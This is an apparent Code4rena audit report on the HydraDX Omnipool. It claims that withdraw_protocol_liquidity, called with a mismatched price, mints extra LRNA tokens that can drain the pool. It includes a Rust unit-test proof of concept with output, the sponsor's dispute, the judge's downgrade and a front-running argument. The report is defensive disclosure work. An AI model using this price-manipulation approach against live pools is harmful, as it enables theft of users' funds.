[M10] `withdraw_protocol_liquidity` at a wrong price can be used to drain the pool

[c4-bot-1]

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L1442-L1525

Vulnerability details

Impact

When a token's value has gone up between the addition and removal of liquidity, there are less tokens to give out to the liquidity providers. So the protocol closes this gap by minting to the liquidity provider some LRNA tokens to compensate the shortfall. This is done in the process_hub_amount function.

T::Currency::transfer(T::HubAssetId::get(), &Self::protocol_account(), dest, amount)

Users can donate LP shares to the protocol by sacrificing them. The admin can then call withdraw_protocol_liquidity redeem these protocol owned shares. The issue is that since the price during liquidity addition is not recorded, the caller actually passes in a price parameter to this function. This price parameter can be used to steal tokens from the pool.

If the caller passes in a lower price than the current price, the protocol thinks that there is a shortfall of the liquidity token and thus mints the caller extra LRNA tokens. Thus callers can call withdraw_protocol_liquidity function with a bad price to extract not just the liquidity token, but also LRNA tokens which they can then swap for the other tokens in the pool. This is more important during the remove_token function call, since at that time it is assumed the protocol owns all the LP share tokens of a certain asset.

The POC below highlights this issue.

In the POC, the price of the pool is changed with a buy call, and then withdraw_protocol_liquidity is called. This is equivalent to calling withdraw_protocol_liquidity with a wrong price. Then the LRNA token count and the tokenA token count is checked at the destination address. The result is shown below.

running 1 test
lrna_reserve_before: 12060000000000000
lrna_reserve_after: 11776363636363637
lrna_reserve_after_remove: 10358181818181818
lrna_destination: 24617495711835
token_destination: 2200000000000000
test tests::remove_token::test_Attack_remove ... ok

This test shows that not only does the destination receive the liquidity tokenA, but also extra LRNA tokens. These tokens cant hen be swapped to the other constituent tokens of the liquidity pool and thus allow stealing of tokens. This requires admin access so the likelihood is low, but the impact is high and thus a medium severity issue.

Proof of Concept

#[test]
fn test_Attack_remove() {
    ExtBuilder::default()
        .with_endowed_accounts(vec![
            (Omnipool::protocol_account(), DAI, 1000 * ONE),
            (Omnipool::protocol_account(), HDX, NATIVE_AMOUNT),
            (LP2, 1_000, 2000 * ONE),
            (LP2, DAI, 2000 * ONE),
            (LP1, 1_000, 5000 * ONE),
        ])
        .with_initial_pool(FixedU128::from_float(0.5), FixedU128::from(1))
        .with_token(1_000, FixedU128::from_float(0.65), LP2, 2000 * ONE)
        .with_min_withdrawal_fee(Permill::from_float(0.01))
        .build()
        .execute_with(|| {
            let liq_added = 400 * ONE;
            let current_position_id = <NextPositionId<Test>>::get();
            assert_ok!(Omnipool::add_liquidity(RuntimeOrigin::signed(LP1), 1_000, liq_added));
            let position = Positions::<Test>::get(current_position_id).unwrap();

            assert_ok!(Omnipool::sacrifice_position(
                RuntimeOrigin::signed(LP1),
                current_position_id
            ));
            assert_ok!(Omnipool::sacrifice_position(
                RuntimeOrigin::signed(LP2),
                current_position_id - 1,
            ));

            assert_ok!(Omnipool::buy(
                RuntimeOrigin::signed(LP2),
                1_000,
                DAI,
                200 * ONE,
                500000 * ONE
            ));
            assert_ok!(Omnipool::set_asset_tradable_state(
                RuntimeOrigin::root(),
                1_000,
                Tradability::FROZEN
            ));

            let state = Assets::<Test>::get(1000).unwrap();
            let lrna_reserve = Tokens::free_balance(LRNA, &Omnipool::protocol_account());
            let lrna_issuance = Tokens::total_issuance(LRNA);

            assert_ok!(Omnipool::withdraw_protocol_liquidity(
                RuntimeOrigin::root(),
                1000,
                position.shares,
                position.price,
                1234,
            ));

            let lrna_reserve_after = Tokens::free_balance(LRNA, &Omnipool::protocol_account());
            //@audit this remove call is irrelevant for this case
            assert_ok!(Omnipool::remove_token(RuntimeOrigin::root(), 1000, 1234),);
            let lrna_reserve_after_remove = Tokens::free_balance(LRNA, &Omnipool::protocol_account());

            let lrna_issuance_after = Tokens::total_issuance(LRNA);
            let lrna_1234 = Tokens::free_balance(LRNA, &(1234 as u64));
            let token_1234 = Tokens::free_balance(1000 as u32, &(1234 as u64));
            assert_balance!(Omnipool::protocol_account(), LRNA, lrna_reserve - state.hub_reserve);
            println!("lrna_reserve_before: {}", lrna_reserve);
            println!("lrna_reserve_after: {}", lrna_reserve_after);
            println!("lrna_reserve_after_remove: {}", lrna_reserve_after_remove);
            println!("lrna_destination: {}", lrna_1234);
            println!("token_destination: {}", token_1234);
        });
}

Tools Used

Substrate

Recommended Mitigation Steps

Don't mint out LRNA tokens for withdraw_protocol_liquidity calls.

Assessed type

Invalid Validation

[c4-pre-sort]

0xRobocop marked the issue as primary issue

[c4-pre-sort]

0xRobocop marked the issue as sufficient quality report

[c4-sponsor]

enthusiastmartin (sponsor) disputed

[enthusiastmartin]

withdraw_protocol_liquidity can be performed only by AuthorityOrigin.

This function is used to withdraw previously scarified positions, and only those known positions which had a price and shares amount. So the price is used to withdraw the same amount of shares. It cannot be abused by "bad price".

[OpenCoreCH]

Centralization issue / abuse of privilege

[c4-judge]

OpenCoreCH changed the severity to QA (Quality Assurance)

[c4-judge]

OpenCoreCH marked the issue as grade-a

[carrotsmuggler]

I would argue that since withdraw_protocol_liquidity function does not have any slippage protection, a malicious user can trigger an LRNA minting by changing the price frontrunning the withdraw_protocol_liquidity call.

Say the protocol does not want to remove any LRNA tokens. So they will call withdraw_protocol_liquidity with the price parameter equal to the actual price of the pool. This will ensure that the maximum amount of liquidity tokens are taken out, while not minting any LRNA tokens. However, a malicious user can do a swap right before this call, dropping the actual price of the pool. The system will see this as liquidity removal at lower prices, and mint the admins extra LRNA tokens. Thus LRNA tokens will get devaulted and minted, even if the admins don't want them.

So I would ask the judge to reconsider whether this an abuse of privilege, since it can be triggered by outsiders as well.

[OpenCoreCH]

The abuse of privilege was related to passing invalid prices for the historical position (which would be passing in wrong values, as this is the intended value).

Under the assumption that the correct price is passed in, I do not see an issue with the function (and the sponsor seems to agree with that). The logic should then be the same as a normal liquidity removal.